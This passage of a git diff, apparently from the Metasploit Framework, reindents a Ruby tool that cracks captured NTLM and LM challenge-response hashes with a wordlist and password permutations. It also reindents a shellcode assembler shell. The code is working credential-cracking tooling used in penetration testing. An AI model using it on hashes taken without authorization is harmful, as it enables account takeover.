arglm = { :lm_hash => CRYPT::lm_hash(password), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETNTLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETNTLM2_SESSION" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - puts password - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + puts password + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{pass}" - exit - else - puts "[*] Incorrect password provided : #{pass}" - exit - end - end + puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => [ srvchal ].pack("H*") } + optlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{pass}" + exit + else + puts "[*] Incorrect password provided : #{pass}" + exit + end + end when "NETNTLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - if calculatedhash.slice(0,32) == hash.upcase - puts "[*] Correct password found : #{password}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + if calculatedhash.slice(0,32) == hash.upcase + puts "[*] Correct password found : #{password}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{17,})$/ - $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{17,})$/ + $stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - for permutedpw in permute_pw(password) - argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + for permutedpw in permute_pw(password) + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, permutedpw, domain), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash.slice(0,32) - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + if hash.upcase == calculatedhash.slice(0,32) + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end else - $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" - exit + $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" + exit end diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index 355137a96a..a7d3680822 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -16,7 +16,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -34,70 +34,70 @@ require 'metasm' @Arch = ['Ia32','MIPS','ARM','X86_64'] def usage - $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage) + exit end - + $args = Rex::Parser::Arguments.new( - "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], - "-h" => [ false, "Display this help information" ]) + "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - found = nil - @Arch.each { |a| - if val.downcase == a.downcase - String.class_eval("@@cpu = Metasm::#{a}.new") - found = true - end - } - usage if not found + case opt + when "-a" + found = nil + @Arch.each { |a| + if val.downcase == a.downcase + String.class_eval("@@cpu = Metasm::#{a}.new") + found = true + end + } + usage if not found - when "-h" - usage - else - usage - end + when "-h" + usage + else + usage + end } class String - @@cpu ||= Metasm::Ia32.new - class << self - def cpu() @@cpu end - def cpu=(c) @@cpu=c end - end + @@cpu ||= Metasm::Ia32.new + class << self + def cpu() @@cpu end + def cpu=(c) @@cpu=c end + end - # encodes the current string as a Shellcode, returns the resulting EncodedData - def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded - end + # encodes the current string as a Shellcode, returns the resulting EncodedData + def encode_edata + s = Metasm::Shellcode.assemble @@cpu, self + s.encoded + end - # encodes the current string as a Shellcode, returns the resulting binary String - # outputs warnings on unresolved relocations - def encode - ed = encode_edata - if not ed.reloc.empty? - puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') - end - ed.fill - ed.data - end + # encodes the current string as a Shellcode, returns the resulting binary String + # outputs warnings on unresolved relocations + def encode + ed = encode_edata + if not ed.reloc.empty? + puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') + end + ed.fill + ed.data + end - # decodes the current string as a Shellcode, with specified base address - # returns the resulting Disassembler - def decode_blocks(base_addr=0, eip=base_addr) - sc = Metasm::Shellcode.decode(self, @@cpu) - sc.base_addr = base_addr - sc.disassemble(eip) - end + # decodes the current string as a Shellcode, with specified base address + # returns the resulting Disassembler + def decode_blocks(base_addr=0, eip=base_addr) + sc = Metasm::Shellcode.decode(self, @@cpu) + sc.base_addr = base_addr + sc.disassemble(eip) + end - # decodes the current string as a Shellcode, with specified base address - # returns the asm source equivallent - def decode(base_addr=0, eip=base_addr) - decode_blocks(base_addr, 